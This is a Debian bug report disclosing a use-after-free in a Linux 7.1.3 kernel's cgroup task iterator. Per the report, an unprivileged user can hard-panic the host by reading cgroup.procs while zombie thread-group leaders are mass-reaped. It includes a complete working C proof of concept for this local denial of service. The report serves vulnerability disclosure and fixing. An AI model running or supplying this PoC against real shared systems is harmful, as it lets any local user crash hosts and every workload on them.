Subject: linux-binary-7.1.3+deb13-amd64: unprivileged user-triggerable use-after-free host panic
Package: src:linux
X-Debbugs-Cc: n.feldt@mittwald.de
Version: 7.1.3-1~bpo13+1
Severity: important
Dear Maintainer,
An unprivileged local user can panic the entire host. Reading a cgroup's
world-readable cgroup.procs triggers a use-after-free of struct task_struct in
css_task_iter_next(), ending in "Kernel panic - not syncing: Fatal exception in
interrupt".
Nodes hard-panic and reboot organically under normal load on
the affected kernel. It also reproduces deterministically within seconds with
the attached PoC as an ordinary user (no root, no capabilities, no namespaces).
*** Reporter, please consider answering these questions, where appropriate ***
* What led up to the situation?
An unprivileged process reads its own world-readable cgroup.procs while,
on the same CPU, thread-group leaders in that cgroup exit and are
mass-reaped (attached poc.c). Not only synthetic: several of our production
nodes have already panicked this way organically under normal container
workload (Kubernetes / cri-o) on the affected kernel.
* What exactly did you do?
Ran the reproducer as an ordinary user on an Debian 13 KVM guest
(trixie-backports kernel)
* What was the outcome?
In ~12-70 s: "refcount_t: addition on 0" in css_task_iter_next()
(get_task_struct on usage==0) -> premature free -> NULL rcu_head.func in
rcu_do_batch (RIP:0x0) -> "Kernel panic - not syncing". Host dead -- same
signature as the organic production panics. Full trace attached (dmesg.log).
* What outcome did you expect instead?
Reading cgroup.procs must never crash the host.
-- Package-specific info:
** Version:
Linux version 7.1.3+deb13-amd64 (debian-kernel@lists.debian.org) (x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44) #1 SMP PREEMPT_DYNAMIC Debian 7.1.3-1~bpo13+1 (2026-07-12)
** Command line:
BOOT_IMAGE=/boot/vmlinuz-7.1.3+deb13-amd64 root=PARTUUID=2d450ecb-3079-4437-bfb2-753908b0375b ro console=tty0 console=ttyS0,115200 earlyprintk=ttyS0,115200 consoleblank=0
** Not tainted
** Kernel log:
see dmesg.log and the prod.log from antother production crash, also with panic
** Model information
sys_vendor: QEMU
product_name: Standard PC (Q35 + ICH9, 2009)
product_version: pc-q35-10.0
chassis_vendor: QEMU
chassis_version: pc-q35-10.0
bios_vendor: SeaBIOS
bios_version: 1.16.3-debian-1.16.3-2
** Configuration for modprobe:
blacklist arkfb
blacklist aty128fb
blacklist atyfb
blacklist cirrusfb
blacklist cyber2000fb
blacklist floppy
blacklist kyrofb
blacklist matroxfb_base
blacklist mb862xxfb
blacklist neofb
blacklist pcspkr
blacklist pm2fb
blacklist pm3fb
blacklist radeonfb
blacklist s3fb
blacklist savagefb
blacklist sisfb
blacklist tdfxfb
blacklist tridentfb
blacklist vt8623fb
options bonding max_bonds=0
options cx88_alsa index=-2
options dummy numdummies=0
options ifb numifbs=0
options snd_atiixp_modem index=-2
options snd_intel8x0m index=-2
options snd_pcsp index=-2
options snd_via82xx_modem index=-2
** Loaded modules:
aesni_intel
ahci
autofs4
binfmt_misc
bochs
button
ccp
cdrom
cfg80211
configfs
crc16
crc32c_cryptoapi
drm
drm_client_lib
drm_kms_helper
drm_shmem_helper
efi_pstore
evdev
ext4
failover
fat
gf128mul
i2c_i801
i2c_smbus
iTCO_wdt
intel_pmc_bxt
intel_rapl_common
intel_rapl_msr
ip_tables
irqbypass
isofs
jbd2
joydev
kvm
kvm_amd
libahci
libata
lpc_ich
mbcache
net_failover
nfnetlink
nls_ascii
nls_cp437
parport
parport_pc
ppdev
psmouse
qemu_fw_cfg
rfkill
scsi_common
scsi_mod
serio_raw
sg
sr_mod
vfat
vga16fb
vgastate
virtio_blk
virtio_net
vmw_vmci
vmw_vsock_virtio_transport_common
vmw_vsock_vmci_transport
vsock
vsock_loopback
watchdog
x_tables
** Out of tree modules:
None found
** PCI devices:
0000:00:00.0 Host bridge [0600]: Intel Corporation 82G33/G31/P35/P31 Express DRAM Controller [8086:29c0]
Subsystem: Red Hat, Inc. QEMU Virtual Machine [1af4:1100]
Kernel modules: intel_agp
0000:00:01.0 VGA compatible controller [0300]: Device [1234:1111] (rev 02)
Subsystem: Red Hat, Inc. Device [1af4:1100]
Kernel driver in use: bochs-drm
Kernel modules: bochs
0000:00:02.0 Ethernet controller [0200]: Red Hat, Inc. Virtio network device [1af4:1000]
Subsystem: Red Hat, Inc. Device [1af4:0001]
Kernel driver in use: virtio-pci
Kernel modules: virtio_pci
0000:00:03.0 SCSI storage controller [0100]: Red Hat, Inc. Virtio block device [1af4:1001]
Subsystem: Red Hat, Inc. Device [1af4:0002]
Kernel driver in use: virtio-pci
Kernel modules: virtio_pci
0000:00:04.0 SCSI storage controller [0100]: Red Hat, Inc. Virtio block device [1af4:1001]
Subsystem: Red Hat, Inc. Device [1af4:0002]
Kernel driver in use: virtio-pci
Kernel modules: virtio_pci
0000:00:1f.0 ISA bridge [0601]: Intel Corporation 82801IB (ICH9) LPC Interface Controller [8086:2918] (rev 02)
Subsystem: Red Hat, Inc. QEMU Virtual Machine [1af4:1100]
Kernel driver in use: lpc_ich
Kernel modules: lpc_ich
0000:00:1f.2 SATA controller [0106]: Intel Corporation 82801IR/IO/IH (ICH9R/DO/DH) 6 port SATA Controller [AHCI mode] [8086:2922] (rev 02)
Subsystem: Red Hat, Inc. QEMU Virtual Machine [1af4:1100]
Kernel driver in use: ahci
Kernel modules: ahci
0000:00:1f.3 SMBus [0c05]: Intel Corporation 82801I (ICH9 Family) SMBus Controller [8086:2930] (rev 02)
Subsystem: Red Hat, Inc. QEMU Virtual Machine [1af4:1100]
Kernel driver in use: i801_smbus
Kernel modules: i2c_i801
** USB devices:
not available
-- System Information:
Debian Release: 13.6
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 7.1.3+deb13-amd64 (SMP w/8 CPU threads; PREEMPT)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages linux-binary-7.1.3+deb13-amd64 depends on:
ii linux-base-7.1.3+deb13-amd64 7.1.3-1~bpo13+1
linux-binary-7.1.3+deb13-amd64 recommends no packages.
linux-binary-7.1.3+deb13-amd64 suggests no packages.
Versions of packages linux-binary-7.1.3+deb13-amd64 is related to:
pn firmware-amd-graphics <none>
pn firmware-atheros <none>
pn firmware-bnx2 <none>
pn firmware-bnx2x <none>
pn firmware-brcm80211 <none>
pn firmware-cavium <none>
pn firmware-cirrus <none>
pn firmware-intel-graphics <none>
pn firmware-intel-misc <none>
pn firmware-intel-sound <none>
pn firmware-ipw2x00 <none>
pn firmware-ivtv <none>
pn firmware-iwlwifi <none>
pn firmware-libertas <none>
pn firmware-marvell-prestera <none>
pn firmware-mediatek <none>
pn firmware-misc-nonfree <none>
pn firmware-myricom <none>
pn firmware-netronome <none>
pn firmware-netxen <none>
pn firmware-nvidia-graphics <none>
pn firmware-qcom-soc <none>
pn firmware-qlogic <none>
pn firmware-realtek <none>
pn firmware-samsung <none>
pn firmware-siano <none>
pn firmware-ti-connectivity <none>
pn xen-hypervisor <none>
-- no debconf information
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <unistd.h>
static int PIN_CPU = 0;
static int READERS = 48;
static int M = 1000;
static int PARALLEL = 2;
static char cg_procs[600];
static char cg_threads[600];
static int *arrived;
static void pin_self(void)
{
cpu_set_t s;
CPU_ZERO(&s);
CPU_SET(PIN_CPU, &s);
if (sched_setaffinity(0, sizeof s, &s) != 0) { // inherited across fork()/pthread_create()
fprintf(stderr, "poc: cannot confine to cpu %d: %s\n"
"poc: pick a CPU that is online and allowed here "
"(Cpus_allowed_list in /proc/self/status)\n",
PIN_CPU, strerror(errno));
_exit(1);
}
}
static int verify_pinned(void)
{
cpu_set_t s;
CPU_ZERO(&s);
if (sched_getaffinity(0, sizeof s, &s) != 0) {
fprintf(stderr, "poc: sched_getaffinity: %s\n", strerror(errno));
_exit(1);
}
if (CPU_COUNT(&s) != 1 || !CPU_ISSET(PIN_CPU, &s)) {
fprintf(stderr, "poc: not confined to cpu %d -- %d CPUs still allowed\n",
PIN_CPU, CPU_COUNT(&s));
_exit(1);
}
return sched_getcpu();
}
static void find_cgroup(void)
{
char buf[1024] = {0};
int fd = open("/proc/self/cgroup", O_RDONLY);
if (fd >= 0) {
ssize_t n = read(fd, buf, sizeof buf - 1);
if (n > 0)
buf[n] = 0;
close(fd);
}
char path[512] = "/";
char *p = strstr(buf, "0::");
if (p) {
p += 3;
char *e = strchr(p, '\n');
if (e)
*e = 0;
snprintf(path, sizeof path, "%s", p);
}
snprintf(cg_procs, sizeof cg_procs, "/sys/fs/cgroup%s/cgroup.procs", path);
snprintf(cg_threads, sizeof cg_threads, "/sys/fs/cgroup%s/cgroup.threads", path);
}
static void *reader(void *a)
{
(void)a;
pin_self();
char buf[1 << 16];
for (;;) {
int fd = open(cg_procs, O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof buf) > 0)
;
close(fd);
}
fd = open(cg_threads, O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof buf) > 0)
;
close(fd);
}
}
return 0;
}
static void *worker(void *a)
{
(void)a;
usleep(2000);
return 0;
}
static void barrier_wait(void)
{
__atomic_add_fetch(arrived, 1, __ATOMIC_SEQ_CST);
for (int i = 0; i < 10000; i++) {
if (__atomic_load_n(arrived, __ATOMIC_SEQ_CST) >= PARALLEL)
return;
usleep(200);
}
}
static void zombie_factory(void)
{
pin_self();
// Undo the reaper's inherited SIG_IGN: with SIGCHLD ignored *here*, each
// leader would be autoreaped by its own last worker's release_task() (the
// zap_leader path) instead of piling up for the burst.
signal(SIGCHLD, SIG_DFL);
pthread_attr_t at;
pthread_attr_init(&at);
pthread_attr_setstacksize(&at, 64 * 1024);
for (int i = 0; i < M; i++) {
if (fork() == 0) {
pthread_t t;
if (pthread_create(&t, &at, worker, 0) == 0)
pthread_detach(t);
pthread_exit(0); // leader zombifies; process ends with the worker
}
// non-reaping parent: no wait()
}
pthread_attr_destroy(&at);
usleep(30000); // let them collapse onto dying_tasks before the reap
barrier_wait(); // ... then everyone bursts at once
}
static void run_reaper(void)
{
prctl(PR_SET_CHILD_SUBREAPER, 1);
signal(SIGCHLD, SIG_IGN);
pid_t f = fork();
if (f == 0) {
zombie_factory();
_exit(0);
}
if (f > 0)
while (wait(0) > 0) // ends in ECHILD once the pool is reaped
;
_exit(0);
}
static int envi(const char *k, int def)
{
const char *v = getenv(k);
return v ? atoi(v) : def;
}
int main(void)
{
PIN_CPU = envi("POC_CPU", PIN_CPU);
READERS = envi("POC_READERS", READERS);
M = envi("POC_M", M);
PARALLEL = envi("POC_PARALLEL", PARALLEL);
pin_self();
int on = verify_pinned();
find_cgroup();
fprintf(stderr, "poc: uid=%d cpu=%d (running on %d) readers=%d M=%d parallel=%d\npoc: iterating %s\n",
(int)getuid(), PIN_CPU, on, READERS, M, PARALLEL, cg_procs);
arrived = mmap(0, sizeof *arrived, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (arrived == MAP_FAILED)
return 1;
for (int i = 0; i < READERS; i++) {
pthread_t t;
pthread_create(&t, 0, reader, 0);
pthread_detach(t);
}
for (;;) {
__atomic_store_n(arrived, 0, __ATOMIC_SEQ_CST);
for (int i = 0; i < PARALLEL; i++) {
pid_t c = fork();
if (c == 0)
run_reaper(); // never returns
}
while (wait(0) > 0)
;
}
return 0;
}
Attachment:
dmesg.log
Description: dmesg.log
Attachment:
prod.log
Description: prod.log